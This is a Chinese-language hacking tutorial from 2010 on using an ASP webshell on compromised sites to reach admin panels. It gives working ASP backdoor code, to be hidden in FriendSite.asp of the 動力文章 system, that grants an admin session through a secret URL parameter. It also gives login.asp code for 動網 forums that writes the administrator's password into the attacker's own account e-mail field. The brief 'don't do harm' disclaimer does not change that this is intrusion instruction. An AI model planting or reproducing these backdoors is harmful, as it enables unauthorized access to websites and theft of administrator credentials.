利用ASP木馬程序獲取管理權(quán)限

2010-08-28 10:47:53來源:西部e網(wǎng)作者:

     前段時(shí)間泛濫成災(zāi)的動網(wǎng)論壇上傳漏洞以及最近接二連三的各種asp系統(tǒng)暴露的上傳漏洞,可能很多朋友手中有了很多webshell的肉雞,至于選擇怎么樣這些小雞的方式也是因人而異,有人繼續(xù)提升權(quán)限,進(jìn)一步入侵,也有人只是看看,馬兒放上去了過了就忘記了,也有一些朋友,當(dāng)webshell的新鮮勁兒過去了后臺的神秘感和誘惑力也就大大增加。

  其實(shí),對很多功能強(qiáng)大的系統(tǒng)而言,拿到后臺也就是拿到了一個(gè)好的后門了,但是現(xiàn)在比較新的版本的很多asp系統(tǒng)密碼都是MD5加密然后配合嚴(yán)格的驗(yàn)證程序來驗(yàn)證的,但是我們就沒有辦法突破這些限制了嗎?no!我今天就是要說怎么突破這些限制讓我們直奔后臺,有馬兒廄是好辦事,follow me............

  session欺騙篇

  首先簡單說一下一般asp系統(tǒng)的身份驗(yàn)證原理。 一般來說,后臺管理員在登錄頁面輸入賬號密碼后,程序會拿著他提交的用戶名密碼去數(shù)據(jù)庫的管理員表里面找,如果有這個(gè)人的賬號密碼就認(rèn)為你是管理員,然后給你一個(gè)表示你身份的session值;蛘叱绦蛳劝涯愕挠脩裘艽a提取出來,然后到數(shù)據(jù)庫的管理員表里面取出管理員的賬號密碼來和你提交的相比較,如果相等,就跟上面一樣給你個(gè)表示你身份的sesion值。然后你進(jìn)入任何一個(gè)管理頁面它都要首先驗(yàn)證你的session值,如果是管理員就讓你通過,不是的話就引導(dǎo)你回到登錄頁面或者出現(xiàn)一些奇奇怪怪的警告,這些都跟程序員的個(gè)人喜好有關(guān)。

  知道了原理,我們現(xiàn)在的一個(gè)思路就是通過我們的asp木馬來修改它的程序然后拿到一個(gè)管理員session,這樣的話盡管我們沒有管理員密碼,但是我們一樣在后臺通行無阻了。我把這種方法稱為session欺騙。限于篇幅不能每個(gè)系統(tǒng)都能詳細(xì)說明,本文僅以動力文章系統(tǒng)為例來說明。

  動力文章系統(tǒng)3.51,(圖一)
 


圖一
    其實(shí)動力文章系統(tǒng)的所有版本全部通殺,包括動易。大家可以自己實(shí)踐一下。

  我們先來看一下它的驗(yàn)證內(nèi)容。動力文章3.51的驗(yàn)證頁面在Admin_ChkLogin.asp,其驗(yàn)證內(nèi)容如下:

  ............
  else
   rs("LastLoginIP")=Request.ServerVariables("REMOTE_ADDR")
   rs("LastLoginTime")=now()
   rs("LoginTimes")=rs("LoginTimes")+1
   rs.update
   session.Timeout=SessionTimeout
   session("AdminName")=rs("username")
   rs.close
   set rs=nothing
   call CloseConn()
   Response.Redirect "Admin_Index.asp"

  前面省略號是用戶名密碼不正確的驗(yàn)證,直到else,看一下,如果用戶名密碼正確就給你兩個(gè)session值:

  session.Timeout=SessionTimeout
  session("AdminName")=rs("username")

  我們在看一下其他管理頁面是怎么驗(yàn)證session的,admin_index.asp一開始就這樣:

  看起來似乎很嚴(yán)密,但是我們看一下,它這里值驗(yàn)證一個(gè)AdminName的session,只要我們的session內(nèi)容是AdminName的話不就可以通過了?好,我們開工,先去弄到它的管理員賬號再說,這個(gè)不要我教你了吧?到他網(wǎng)站逛一下或者直接一點(diǎn)下載它的數(shù)據(jù)庫來看都可以知道。我們找個(gè)頁面來改一下,我找一個(gè)比較沒人而內(nèi)容較多的頁面FriendSite.asp(友情鏈接頁面)來改,呵呵,這樣管理員也很難查得出來啊。用asp木馬的編輯功能來編輯一下它的內(nèi)容。在他頁面下隱蔽處加上下面幾句話:

  dim id
  id=trim(request("qwe"))
  if id="120" then
   session("AdminName")="admin" ‘這里是假設(shè)的,實(shí)際操作中可以改成你想要得管理員賬號
  end if

 


  我簡單說一下這句話的意思,就是說從地址欄取得hehe的值,如果hehe=120的話,那么系統(tǒng)就給我們一個(gè)值為admin的session。好了,我們輸入看一下,圖二:



圖二

  看到有什么異常嗎,沒有吧?還是正常頁面,但是我們接著在地址欄中輸入它的后臺管理首頁看看,是不是進(jìn)去了?圖三:

\

圖三
 


  呵呵,別做壞事哦............

  小結(jié)一下:我們先找到弄到管理員賬號,然后找到它的驗(yàn)證頁面,根據(jù)它的驗(yàn)證內(nèi)容來寫入我們要的后門。不同的系統(tǒng)有不同的驗(yàn)證方式,比如青創(chuàng)文章系統(tǒng)它不但要驗(yàn)證你的用戶名還要驗(yàn)證等級,但是我們總體思路還是一樣,就是他驗(yàn)證什么我們就加入什么。

    碼竊探篇

  可以說上述方法在動網(wǎng)論壇或者其他論壇面前是蒼白無力的,因?yàn)橐话阏搲捎诮换バ暂^強(qiáng),所以在驗(yàn)證上考慮了很多。以動網(wǎng)為例,你要登錄后臺,他先驗(yàn)證你有沒有先登錄了前臺,沒有的話就給你返回一個(gè)錯(cuò)誤頁面。你登錄前臺后系統(tǒng)會給你一個(gè)seession來記錄你的CacheName和你的ID,然后在你登錄后臺的時(shí)候拿出來比較你前后臺身份是否一致,一直就通過,否則kill,面對這樣嚴(yán)格的驗(yàn)證,難道我們就沒有辦法基后臺了嗎?對,沒有了(誰拿雞蛋扔我?這么浪費(fèi)。),但是我們可以想新的辦法,既然驗(yàn)證這么嚴(yán)格,那么我如果拿著密碼光明正大的進(jìn)去呢?因此,這里一個(gè)新的思路就是拿到它的明文密碼。什么時(shí)候有明文密碼呢?對了,就在管理員登錄的時(shí)候。好,我們就在那里做手腳,把它登錄的密碼發(fā)給我們,然后我們拿和它的密碼去登錄。呵呵,是不是很像sniffer。吭谙略谇皫讉(gè)月剛和好兄弟潛龍?jiān)谝袄糜布⺳niffer配合省網(wǎng)安局的人端掉一個(gè)非法電影網(wǎng)站,足足4000G的硬盤,幾十臺服務(wù)器,一個(gè)字:爽

  好了,我們開始修改它的程序。編輯login.asp,加入以下幾句話:

  if not isnull(trim(request("username"))) then
   if request("username")="admin" then
    sql="update [Dv_Vser] set UserEmail=(select userpassword from [Dv_User]
      where username='"& request("username")&"') where
    UserName='aweige'"
    conn.execute(sql)
   end if
  end if  

  這幾句話的意思就是說如果admin(假設(shè)的,實(shí)際操作中改為你要的管理員名字)登錄成功就更新數(shù)據(jù)庫,把他的密碼放到我資料的E-mail中。當(dāng)然,你必須先在論壇里注冊一個(gè)用戶名。結(jié)果如圖四:




圖四


  還有,如果是動網(wǎng)7.0以下的默認(rèn)數(shù)據(jù)庫admin表名和7.0以上有點(diǎn)不一樣,所以實(shí)際操作中不可生搬硬套。

  后記

  對于以上兩種方法直到目前為止我還想不出任何比較有效的解決方法,因?yàn)槟愕木W(wǎng)站被人家放了馬,你根本就沒辦法去阻止人家去插入,要是誰有好的解決方法記得告訴我。

  另外,希望大家不要去搞破壞,那時(shí)我真的不愿看到的,也祝所有的網(wǎng)管們好運(yùn),希望你們不會碰上craker們。

贊助商鏈接: